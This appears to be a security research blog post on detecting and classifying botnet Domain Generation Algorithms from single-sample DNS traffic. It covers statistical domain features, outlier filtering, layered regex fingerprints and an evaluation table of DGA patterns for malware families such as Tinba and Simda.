Botnets are one of the biggest current threats for devices connected to the internet. Their methods to evade security actions are frequently improved. Most of the modern botnets use Domain Generation Algorithms (DGA) to generate and register many different domains for their Command-and-Control (C&C) server with the purpose to defend it from takeovers and blacklisting attempts.

To improve the automated analysis of DGA-based malware, we have developed an analysis system for detection and classification of DGA’s. In this blog post we will discuss and present several techniques of our developed DGA classifier.

The DGA detection can be useful to detect DGA-based malware. With the DGA classification it is also possible to see links between different malware samples of the same family. Such a classification is expressed with a description of the DGA as a regex.
Moreover, our analysis methods are based on the network traffic of single samples and not of a whole system or network, which is a difference to most of the related work.

DGA-based Botnets

A Domain Generation Algorithm (DGA) generates periodically a high number of pseudo-random domains that resolve to a C&C server of a botnet [H. 16]. The main reason of its usage by a botnet owner is that it highly complicates the process of a takeover by authorities (Sinkholing). In a typical infrastructure of a botnet that uses a static domain for the C&C server, authorities could take over the botnet with cooperation of the corresponding domain registrar by changing the settings of the static C&C domain (e.g. changing the DNS records).

infrastructure of typical botnets
Typical infrastructure of a botnet

With the usage of a DGA that is generating domains dynamically which resolve to the C&C server there is no effective sinkholing possible anymore. Since the bots use a new generated domain after every period to connect to the C&C server, it would be senseless to take control of a domain that is not used anymore by the bots to build up a connection to the C&C server.

infrastructure of typical dga botnets
Typical infrastructure of a DGA botnet

The C&C server and the bots use the same DGA with the same seed, so that they are able to generate the same set of domains. DGA’s use mostly the date as a seed to initialize the algorithm for domain generation. Hence the DGA creates a different set of domains everyday its run. To initialize a connection to the C&C server the bot needs to run first the DGA to generate a domain, that could be possibly also generated on the side of the C&C server, since both are using the same algorithm and seed [R. 13]. After every domain generation, the bot attempts to resolve the generated domain. These steps are repeated until the domain resolution succeeds, so that the bot figures out the current IP address of the corresponding C&C server. Through that DGA domain the bot can set up a connection to the C&C server.

Motivation

DGA detection can be very helpful to detect malware, because if it is possible to detect the usage of a DGA while analyzing the network traffic of a single sample, then it is very likely that the analyzed sample is malicious, since DGA’s are used commonly by malware but not by benign software. DGA classification is the next step in the analysis after a DGA has been detected. A successful classification returns a proper description of a DGA. With such a unified description, it is possible to group malware using the same DGA. Being able to group malware by correlating characteristics, leads to an improvement to the detection of new malware samples of these families. Therefore, the signatures of recently detected malware samples will be automatically blacklisted. The following figure shows for an non-DGA malware that grouping malware families based on the same domains in their DNS requests traffic will be only possible, if they use all the same and static C&C domain:

static domain
Two samples using the same static C&C domain

If the malware uses a DGA, then the grouping of malware will not be trivial anymore, because generated DGA domains are just used temporarily, thus using those to find links between samples would not be very effective.

domain mismatch
Two samples with the same DGA but a different seed

Note also that occurring domains in the network traffic of the recently analyzed malware sample could differ on another day with the same sample analyzed, since many DGA’s use the date as a seed. The solution is to calculate a seed-independent DGA description for every analyzed sample using a DGA. That description can be used then as a bridge between malware samples using the same DGA.

pattern descriptor
Pattern descriptor to abstract different DGA seeds

To solve this problem, we have divided it into three smaller tasks. Thus, the DGA classifier is structured into three components. Each component solves a task that contributes to the result of the DGA classification.

In this blog post we concentrate only on approaches for DGA detection and classification that are automatable, since we want to analyze a very high number of samples. Furthermore, we want to avoid as much as possible unnecessary network traffic, therefore we focus only on offline methods.

DGA Detection

This approach for DGA detection is based on statistical values calculated over the relevant label attributes of the domains. Since the domains generated by a DGA follow mostly a pattern, it is very useful to calculate the standard deviation of some attribute values [T. 13]. The average value can be also used for some attribute values to measure whether a domain is generated by a DGA or not. Those statistical values are also calculated over a list of domains from the Top 500 Alexa Ranking. These are considered as reference values for non-DGA domains regarding the relevant label attributes.

The domains with multiple levels are split into their labels for further analysis.
E.g. this domain: http://www.developers.google.com is split into:
com – Top-level domain (TLD)
google – Second-level domain
developers – Third-level domain
www – Fourth-level domain

All domains in the domain list resulting from a sample are compared level-wise, such that the labels of every domain are only compared with the same level.

To find proper indicators for DGA usage, we have done a level-wise comparison of statistical values calculated over several lexical properties of DGA domains and non-DGA domains (e.g. from Top 500 Alexa Ranking).

domain level.png
Different kinds of DGA patterns

Our experiments have proven that these statistical values over domain levels are very effective for DGA detection:

  • Average of the . . .
    • number of used hyphens
    • maximum number of contiguous consonants
  • Standard deviation of the . . .
    • string length of the label
    • consonant and vowel ratio
    • entropy
  • Redundancy of substrings or words in case of a wordlist DGA

With all these arguments, we can build a score with a specific threshold. If the score exceeds the threshold, the component will decide that the analyzed domain list was generated by a DGA. Since the arguments are based on statistical values, which lose their significance with smaller sets, it is also important to consider the case with too few domains. In this regard, the score is scaled down.

Separation of non-DGA Domains

Malware tries often to connect at first to a benign host (e.g. google.com) to check their connectivity to the internet. So, in case of DGA-based malware, the samples do not only send requests to DGA domains, but also to non-DGA domains. Hence the program for DGA classification needs to expect a domain list containing DGA domains and non-DGA domains. Before the program can classify a DGA, it needs to filter out the non-DGA domains. In this process, we assume that the majority of the domains in the domain list of the sample are DGA domains. Therefore, the non-DGA domains are considered as outliers. We used different outlier methods to identify non-DGA domains:

  • Outlying TLD-label
  • Outlying www-label
  • Find outlier with the method of Nalimov [A. 84] regarding following label attributes:
    • String length of the label
    • Digit and string length ratio
    • Hyphen and string length ratio
    • Consonant and vowel ratio
  • Outlying label count
  • Find outliers by too few occurring values regarding the following label attributes (the more a value occurs, the higher is the probability that it belongs to a DGA domain. We use the opposite case to find non-DGA domains here):
    • String length of the label
    • Consonant and vowel ratio
    • Digit and string length ratio
    • Entropy
    • Hyphen and string length ratio
    • Relative position of the first hyphen in the label

DGA Classification

After the separation process of DGA domains from non-DGA domains, we start with the classification of the DGA. The classifier analyzes the list of DGA domains and creates a, specific as possible, regex that matches all these DGA domains. If the separation is not completely successful, the program will continue with the classification based on DGA domains and non-DGA domains which could lead to a wrong description of the DGA. But not every failing separation process causes a wrong classification. In some cases, if non-DGA domains cannot be differentiated from DGA domains regarding any domain attributes, then the classification will still return the correct DGA description, since it covers only the relevant domain attributes. If the failing separation process causes a wrong DGA description, then the resulting wrong or imprecise DGA description could be interpreted still as a fingerprint calculated over the requested non-DGA domains and the DGA domains. That fingerprint is still useful to group malware of the same family, because it is very common that those requested non-DGA domains occur in other malware samples of the same family, too.

DGA’s do not generate necessarily always the same set of domains, because in most cases the seed of the DGA is changed (usually the date is used as seed).
In the following picture, you can see that the calculated DGA regexes are not matching because of the differentiating first letter, which seems to be seed-dependent in that case:

not equal dga
DGA with seed dependent first character

An important requirement to the automatically generated DGA description is that it needs to be independent of the seed. Since it is in our perspective not possible to determine which part of a DGA domain is seed dependent, we use an approach that tries to generalize the seed-dependent part of a domain.
For this task, we use three layers of regexes that are hierarchically arranged:

  1. Layer: very generalized pseudo-regex
  2. Layer: generalized regex
  3. Layer: specific regex

All those regexes can be interpreted as DGA descriptions (calculated with only one sample) of the same DGA with different precision.
Such hierarchy could look like this:

tinba dga
Tinba-DGA
simda dga
Simda-DGA

Evaluation

Out of 113.993 samples, the DGA classifier detects 782 DGA-based malware samples.
To determine the false positive rate, we have reviewed the results of the analysis system manually. Regarding the DGA detection we have found 38 false positives in our result set. Hence we have a false positive rate that is lower than 0.049% (with the assumption that the DGA-based malware samples queried a relative high number of different domains). A false negative evaluation is hard in this case, because the number of input sample is too high for manual evaluation. For an automatic false negative evaluation, the required ground truth of a large sample set is missing.

The following excerpt shows some specific DGA regexes from the DGA classification, which used 38.380 DGA-based malware samples as input:

Domain Fingerprint / Regex Matches Family name
[0-9A-Za-z]{8}\.kuaibu8\.cn 569 Razy
[a-hj-z]{3}y[a-z]{3}\.com 2082 simda
[a-z]{11}\.eu 829 simda
[a-z]{6,12}\.(com|info|net|org|dyndns\.org) 2047 Pykspa
[b-y]{12}\.(com|in|net|ru) 8508 tinba
[b-y]{12}\.com 6296 tinba
[b-y]{12}\.pw 7714 tinba
[b-y]{12}\.(biz|pw|space|us) 35 tinba
[b-y]{12}\.(cc|com|info|net) 17 tinba
[d-km-y]{12}\.(com|in|net|ru) 172 tinba
[d-y]{12}\.(com|in|net|ru) 110 tinba
[c-y]{12}\.(com|in|net|ru) 45 tinba
[df-km-su-x]{12}\.(com|in|net|ru) 110 tinba
[a-z]{8}\.info 216 tinba
v[12]{1}\.[a-uw-z]{7}\.ru 77 Kryptik
v1\.[a-uw-z]{7}\.ru 579
[b-np-z]{7,11}\.(com|net) 113
[0-9A-Za-z]{8}\.[aiktux]{3}i[abnu]{2}8\.cn 114
[a-y]{6,19}\.com 644 Ramnit
[a-z]{14,16}\.(biz|com|info|net|org) 173

It is conspicuous that the Tiny Banker Trojan (Tinba) has a very high occurrence with different specific regexes in the result set. After generalizing the most regexes of Tinba, as described in section 2.3, it will be possible to group all samples with only one regex. The missing family names are given by the fact that we could not detect automatically to which malware family the samples that used the DGA belongs.

Conclusion

The result shows that DGA detection and DGA classification can be very useful to detect new malware samples by their DGA. Hence it is also possible to find links between old and new malware samples of the same family via their classified DGA.
The DGA detection seems to be very reliable for samples that have queried many different domains. Our implemented concept for DGA classification seems to be in many cases successful. However, there are still cases where the calculated DGA descriptions are not correct, because the created patterns are sometimes overfitted to the given domain lists or rather non-DGA domains were considered in the calculation of the DGA descriptions, too. To confine this problem, we use a multi-layered regex generalization.
Even wrong DGA descriptions can be still considered as fingerprints calculated over the domain list of the sample. That fingerprint could be used to classify the DGA-based malware, so that it makes still a good contribution to automated malware analysis.

Literature

[A. 84] A. Zanker. Detection of outliers by means of Nalimov’s test – Chemical Engineering, 1984.

[H. 16] H. Zhang, M. Gharaibeh, S. Thanasoulas, C. Papadopoulos Colorado State University, Fort Collins, CO, USA. BotDigger: Detecting DGA Bots in a Single Network, 2016.

[R. 13] R. Sharifnya and M. Abadi – Tarbiat Modares University Tehran, Iran. A Novel Reputation System to Detect DGA-Based Botnets, 2013.

[T. 13] T. Frosch, M. Kührer, T. Holz – Horst Görtz Institute (HGI), Ruhr-University Bochum, Germany. Predentifier: Detecting Botnet C&C Domains From Passive DNS Data, 2013.